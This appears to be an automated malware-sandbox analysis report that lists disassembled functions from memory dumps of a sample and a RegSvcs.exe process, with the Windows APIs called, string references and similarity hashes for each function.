Function 00EF08E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00EEE820), ref: 00EF08EB
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00EF08FD

Strings

GetNativeSystemInfo, xrefs: 00EF08F7
kernel32.dll, xrefs: 00EF08E6

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 25a5382e908d4fe61faf411c055218203d7799a432379734e5919425c5c9228f
Instruction ID: cdce518a313cbcbddbd3f68624cc8e361186a15dd5120a6bb065ee4dacc8975c
Opcode Fuzzy Hash: 25a5382e908d4fe61faf411c055218203d7799a432379734e5919425c5c9228f
Instruction Fuzzy Hash: ADD0C9B0940B0A9AEB300F31D80E61276E4AB80B89F105418E5A2A1256EBF4C080AA61

Uniqueness

Uniqueness Score: -1.00%

Function 00EF0870, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00EEE7C8), ref: 00EF087B
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00EF088D

Strings

kernel32.dll, xrefs: 00EF0876
IsWow64Process, xrefs: 00EF0887

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 2574300362-3024904723
Opcode ID: 2c3effba62f152cce5c625bb5ce6624702cfae49e2e7cb645f564fb7853f4f02
Instruction ID: b7286e7d724c7054911048fd6b1771939eb14fda59a7448ba14e4c3e31d17889
Opcode Fuzzy Hash: 2c3effba62f152cce5c625bb5ce6624702cfae49e2e7cb645f564fb7853f4f02
Instruction Fuzzy Hash: 29D0C9B0940B0A9AD7241F21D90E61276E4AB10F9AF105468E595A1250EBB4C080AA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F31CA1, Relevance: 6.4, APIs: 4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1524952207abb365635b2cbf74dc0444f3ebbfb07fe08cc0b8f6a2c04776825
Instruction ID: 2b35df2a7df556311aad1b7a00464a54a339626017e18b1a5c804815ccb61a3e
Opcode Fuzzy Hash: a1524952207abb365635b2cbf74dc0444f3ebbfb07fe08cc0b8f6a2c04776825
Instruction Fuzzy Hash: 7EE16175600209AFCB14DF98D880EAAB7B9FF88724F108599E909CB351D775EE81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F594BA, Relevance: 6.2, APIs: 4, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F594C9
SysAllocString.OLEAUT32(00000000), ref: 00F59592
VariantCopy.OLEAUT32(?,?), ref: 00F595C9
VariantClear.OLEAUT32(?), ref: 00F5960A

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 6b3ba246b1657c1023b6e6860962407b18c371b5372e51baf61d690224b7bb70
Instruction ID: f0058afe8a13783f6e81b7a51dfaca277d8b3994197bc6097a15719381ac45a8
Opcode Fuzzy Hash: 6b3ba246b1657c1023b6e6860962407b18c371b5372e51baf61d690224b7bb70
Instruction Fuzzy Hash: FF51193660020EA7CB04FF2ADC415AEB7A4EF84351F518526FD14D7242DB74DA19E7E2

Uniqueness

Uniqueness Score: -1.00%

Function 00EF407F, Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EF411A
__flush.LIBCMT ref: 00EF4138
__write.LIBCMT ref: 00EF415F
__flsbuf.LIBCMT ref: 00EF418A

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 5577a25a8bf7660d1eb98eb86be2243cf7e8e14d6244587b41df67c47af93e11
Instruction ID: 96cd694d868f32f17ea1634eb22d98dafa04a1dbd5ee0d27cf9e54ab8dc6477a
Opcode Fuzzy Hash: 5577a25a8bf7660d1eb98eb86be2243cf7e8e14d6244587b41df67c47af93e11
Instruction Fuzzy Hash: 7841B1B1A0160C9BDB248F6888846BFBBF5AF90364F249569E715B72C0DB70DE80CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00F0075F, Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00F00793
__isleadbyte_l.LIBCMT ref: 00F007C6
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000,?,?,?,00000000,?,00000000), ref: 00F007F7
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,00000000,00000000,?,?,?,00000000,?,00000000), ref: 00F00865

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: bb289534d8c36fb2ea34ec39a214a270cd95c2f82709dd8299ef6e0db92d6a03
Instruction ID: ee078f1f0aab6fab297ff02b1eabe6282e8f89c55c1103830de76479b2b4e8ef
Opcode Fuzzy Hash: bb289534d8c36fb2ea34ec39a214a270cd95c2f82709dd8299ef6e0db92d6a03
Instruction Fuzzy Hash: B1317E31A0424AEFDB20DFA4C884BB97BE5BF01320F1885A9E5659B1D1DB30ED40FB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE2C0, Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00EEE2E2
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00EEE3A7

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: a5fdde3b31ad4e33c6a058cf985f81e047a2449a2fe4776e2408f94bde4c59c6
Instruction ID: 85a0edcd265f119c696ebe62a21420d853cdd16ee6c4fcfdbe01e3b7bee23efe
Opcode Fuzzy Hash: a5fdde3b31ad4e33c6a058cf985f81e047a2449a2fe4776e2408f94bde4c59c6
Instruction Fuzzy Hash: C33190B0908748DFD320DF26D8547A7BBE8BB85314F00181DE5EA93380D7B4A948DF92

Uniqueness

Uniqueness Score: -1.00%

Function 00F1494A, Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00F14962
_wcslen.LIBCMT ref: 00F1496A

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_wcscpy.LIBCMT ref: 00F14992
_wcscat.LIBCMT ref: 00F14999

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcslen$_malloc_wcscat_wcscpy
String ID:
API String ID: 1597257046-0
Opcode ID: 2f6b5b8d22b335b425f03ad15f45ff405501dd87eb0738a4ca535be40a0782d9
Instruction ID: 082436b46255c4fdbd28448e9e9a3ee9a501608bb80bdc5d3cee5412241629ab
Opcode Fuzzy Hash: 2f6b5b8d22b335b425f03ad15f45ff405501dd87eb0738a4ca535be40a0782d9
Instruction Fuzzy Hash: B5016235200248AFC314EB69C886D77B3EDEBC9320B0085A9F65997641DA35E8408760

Uniqueness

Uniqueness Score: -1.00%

Function 00EF506D, Relevance: 6.0, APIs: 4, Instructions: 16threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00EF5070

Part of subcall function 00EF7913: GetLastError.KERNEL32(00000003,?,00EF7994,?,00EF1259,?,?,00EF12DC,?,00000001), ref: 00EF7917
Part of subcall function 00EF7913: ___set_flsgetvalue.LIBCMT ref: 00EF7925
Part of subcall function 00EF7913: __calloc_crt.LIBCMT ref: 00EF7939
Part of subcall function 00EF7913: __initptd.LIBCMT ref: 00EF7962
Part of subcall function 00EF7913: GetCurrentThreadId.KERNEL32 ref: 00EF7969
Part of subcall function 00EF7913: SetLastError.KERNEL32(00000000,?,00EF12DC,?,00000001), ref: 00EF7981

CloseHandle.KERNEL32(?,?,00EF50BB), ref: 00EF5084
__freeptd.LIBCMT ref: 00EF508B
ExitThread.KERNEL32 ref: 00EF5093

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCurrentExitHandle___set_flsgetvalue__calloc_crt__freeptd__getptd_noexit__initptd
String ID:
API String ID: 2246029678-0
Opcode ID: cae474ad497c26bebb1cab7ae371fd82c117d65ec027aadf7c7a6e95d18a62d6
Instruction ID: 39660eb0dfc7d682f9ef3193de45307ba16de3097676bfb0f81799aee1ccbf60
Opcode Fuzzy Hash: cae474ad497c26bebb1cab7ae371fd82c117d65ec027aadf7c7a6e95d18a62d6
Instruction Fuzzy Hash: E2D0A732405D1857C1312734480EA2E32959F40731B151B04F775E72D1DFF4CE4246E0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF570, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EEF5B9
_memmove.LIBCMT ref: 00EEF5D3

Strings

?T, xrefs: 00F06511

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID: ?T
API String ID: 4104443479-3504941901
Opcode ID: 6ed6293c3fc55fbf7b4a0a22f5e05766082ab94377e9ba98b933d083143e9cd3
Instruction ID: 53d950c5e6d688b7f1fbeacff1e7e11a28e51b04830da431ae8b11167e32cec4
Opcode Fuzzy Hash: 6ed6293c3fc55fbf7b4a0a22f5e05766082ab94377e9ba98b933d083143e9cd3
Instruction Fuzzy Hash: 3C1190B251021DAFCB08DFA9DCC09AE73A8EB58344B504579EA06D7641EB32FE25D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00F2CDB9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(00000013,00000000), ref: 00F2CDEE
_memmove.LIBCMT ref: 00F2CE15

Strings

crts, xrefs: 00F2CE02

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ArrayCreateSafeVector_memmove
String ID: crts
API String ID: 564309351-3724388283
Opcode ID: 70bad077fd2fc51391c74cd5042734f281c4ee4ce2f66a45251462ecc79451fb
Instruction ID: ca1846ccc2fb14f5b0bc2794b9c1d1ec28d8c631ea5ab611412244050ef84dce
Opcode Fuzzy Hash: 70bad077fd2fc51391c74cd5042734f281c4ee4ce2f66a45251462ecc79451fb
Instruction Fuzzy Hash: A701D2B790011DABC710DF99EC45EDA77A8EB84350F41412AFE08D7102D731EA56D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F12175, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F12192
__fread_nolock.LIBCMT ref: 00F121A8

Strings

EA06, xrefs: 00F121DB

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: b6a054af14aef66f5a2be75ba9891976f120cc859757cd7feb4aeef21d523dbd
Instruction ID: 66a22332e6ffdffcc5a5b74f4d78cd081a72e69dab617320984ea6531bcc0139
Opcode Fuzzy Hash: b6a054af14aef66f5a2be75ba9891976f120cc859757cd7feb4aeef21d523dbd
Instruction Fuzzy Hash: AA014572C042187BDB18CBA88C12AFEBBF49F45301F00859EF696A22C1D574A718CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF1871, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00EF1879

Part of subcall function 00EF81EE: __mtinitlocknum.LIBCMT ref: 00EF8204
Part of subcall function 00EF81EE: __amsg_exit.LIBCMT ref: 00EF8210
Part of subcall function 00EF81EE: EnterCriticalSection.KERNEL32(?,?,?,00EF78A9,0000000D,?,00EF12DC,?,00000001), ref: 00EF8218

Part of subcall function 00EF8115: LeaveCriticalSection.KERNEL32(?,00EF81EC,?,00EF81DC,00F6D180,0000000C,00EF8209,?,?,?,00EF78A9,0000000D,?,00EF12DC,?), ref: 00EF8124

Strings

d, xrefs: 00EF1885
d, xrefs: 00EF1890

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave__amsg_exit__lock__mtinitlocknum
String ID: d$d
API String ID: 2136571680-2740576028
Opcode ID: c7a16404bba5f574064388f14c3c923f18561c79bef3e5b8bc423ffc775e6697
Instruction ID: 1ea883b14a2907a61743f0b8084f50258764b75d7504521dc8901b58eb82498a
Opcode Fuzzy Hash: c7a16404bba5f574064388f14c3c923f18561c79bef3e5b8bc423ffc775e6697
Instruction Fuzzy Hash: F3D0177260121CABCB002BB5BE0AA553FA8EB447B1F010125F70CCB1A0DDB19891A78A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exe PID: 5660 Parent PID: 984 RegSvcs.exeCOMMON

Executed Functions

Function 04F5B6C0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 04F5B730
GetCurrentThread.KERNEL32 ref: 04F5B76D
GetCurrentProcess.KERNEL32 ref: 04F5B7AA
GetCurrentThreadId.KERNEL32 ref: 04F5B803

Strings

(H, xrefs: 04F5B82F
~kbS, xrefs: 04F5B6EC

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID: (H$~kbS
API String ID: 2063062207-2925130147
Opcode ID: c160f058c551e73ce1276ca51209fc001caeee01baa2ddf4e023c4b7975b0c65
Instruction ID: efa6809b63be13f59da2954c0a9c7eb0251d6945a18c512d7e7bff745e73bade
Opcode Fuzzy Hash: c160f058c551e73ce1276ca51209fc001caeee01baa2ddf4e023c4b7975b0c65
Instruction Fuzzy Hash: 945145B0D006488FEB10CFAAD588BDEBBF1FF48314F248459E519A7260D774A846CF66

Uniqueness

Uniqueness Score: -1.00%

Function 04F5B6D0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 04F5B730
GetCurrentThread.KERNEL32 ref: 04F5B76D
GetCurrentProcess.KERNEL32 ref: 04F5B7AA
GetCurrentThreadId.KERNEL32 ref: 04F5B803

Strings

(H, xrefs: 04F5B82F
~kbS, xrefs: 04F5B6EC

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID: (H$~kbS
API String ID: 2063062207-2925130147
Opcode ID: e0341dd5f344f5e29d95826d289978f8f2c68f1b082d7c7b8cf255f76f344b4b
Instruction ID: 4388efcea759358a388dae3c488f7fde926a58a0dbf8ebc63c5dd29968863eaf
Opcode Fuzzy Hash: e0341dd5f344f5e29d95826d289978f8f2c68f1b082d7c7b8cf255f76f344b4b
Instruction Fuzzy Hash: 1A5133B0D00648CFEB14CFAAD588B9EBBF1FF48314F248469E519A7260D774A845CF66

Uniqueness

Uniqueness Score: -1.00%

Function 04F5FB98, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 142COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04F5FD0A

Strings

~kbS, xrefs: 04F5FC46
~kbS, xrefs: 04F5FC26

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: CreateWindow
String ID: ~kbS$~kbS
API String ID: 716092398-2605769808
Opcode ID: 578527099ec8a0e9fe7babef9bb680935ed3685cdf496a051928a7744ec638a7
Instruction ID: 9e7987569f19522ccaf2b327b9be9f18c16ac334e16cc19260a4878f7fbaff99
Opcode Fuzzy Hash: 578527099ec8a0e9fe7babef9bb680935ed3685cdf496a051928a7744ec638a7
Instruction Fuzzy Hash: A85111B1C00249EFDF11CFA9C884ADEBFB1BF48304F14816AE908AB221D771A956CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04F5FB61, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04F5FD0A

Strings

~kbS, xrefs: 04F5FC46
~kbS, xrefs: 04F5FC26

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: CreateWindow
String ID: ~kbS$~kbS
API String ID: 716092398-2605769808
Opcode ID: 81663841be67731d67878f9b677c80e5de743d6dc1883dbb2ceb68205e3dcd68
Instruction ID: 47979441710862780ab91f8f35385df47ba61b49c1165d7adcd3ea4c36ab12f0
Opcode Fuzzy Hash: 81663841be67731d67878f9b677c80e5de743d6dc1883dbb2ceb68205e3dcd68
Instruction Fuzzy Hash: BC51E2B1D003499FDB15CFA9D884ADDBBB1FF48304F24816AE915AB211D774A946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04F5FBF8, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04F5FD0A

Strings

~kbS, xrefs: 04F5FC46
~kbS, xrefs: 04F5FC26

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: CreateWindow
String ID: ~kbS$~kbS
API String ID: 716092398-2605769808
Opcode ID: 1e8875f79f93e2ae6d7302ecd1b18d4c86279793da24fa6ef529d84cc3de3cfa
Instruction ID: 9fe112e8f8fa1a2a609a1d02c7a0b46c85ac6a71db02442de7071319e724c31f
Opcode Fuzzy Hash: 1e8875f79f93e2ae6d7302ecd1b18d4c86279793da24fa6ef529d84cc3de3cfa
Instruction Fuzzy Hash: F641AFB1D003099FDB14CF99C884ADEBBB5BF48314F24812AE919AB210D774A946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04F593E8, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 04F5962E

Strings

~kbS, xrefs: 04F595E7

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: HandleModule
String ID: ~kbS
API String ID: 4139908857-1267672345
Opcode ID: a7feff1188c8eb0388c9bd34c25da9de6b2ff40e4a8b3c609b0efaaef86e57af
Instruction ID: 7abc546be0a64dd27e719e20e0928dd7e3aee0542262bfcf58a711c93174bbe9
Opcode Fuzzy Hash: a7feff1188c8eb0388c9bd34c25da9de6b2ff40e4a8b3c609b0efaaef86e57af
Instruction Fuzzy Hash: 207115B0A00B058FD764DF2AD444B5ABBF5BF88314F00892DDA8AD7A50D774F9168B91

Uniqueness

Uniqueness Score: -1.00%

Function 04F5BCF9, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 04F5BD87

Strings

~kbS, xrefs: 04F5BD1F

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID: ~kbS
API String ID: 3793708945-1267672345
Opcode ID: 1e1f04ca2a67c427a64b01dadb1aa0533839f63e2508ca91beb39e678671a85b
Instruction ID: 1c8acb5061c56437f726862b1c6d98b504c3ff66f02141c5897bfe1e2155d7de
Opcode Fuzzy Hash: 1e1f04ca2a67c427a64b01dadb1aa0533839f63e2508ca91beb39e678671a85b
Instruction Fuzzy Hash: D621E3B5900249AFDB10CFAAD884ADEFFF4EB48324F14841AE954A7310D374A955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F5BD00, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 04F5BD87

Strings

~kbS, xrefs: 04F5BD1F

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID: ~kbS
API String ID: 3793708945-1267672345
Opcode ID: 8b6c1f7121dfde67a6991fdf2b65fbf1749409b0784edeb571de8c99ce7120ce
Instruction ID: aa444f2331a34fe4865b1ba82e082c0ef9b644e34c59a77d35792eb43cb5f219
Opcode Fuzzy Hash: 8b6c1f7121dfde67a6991fdf2b65fbf1749409b0784edeb571de8c99ce7120ce
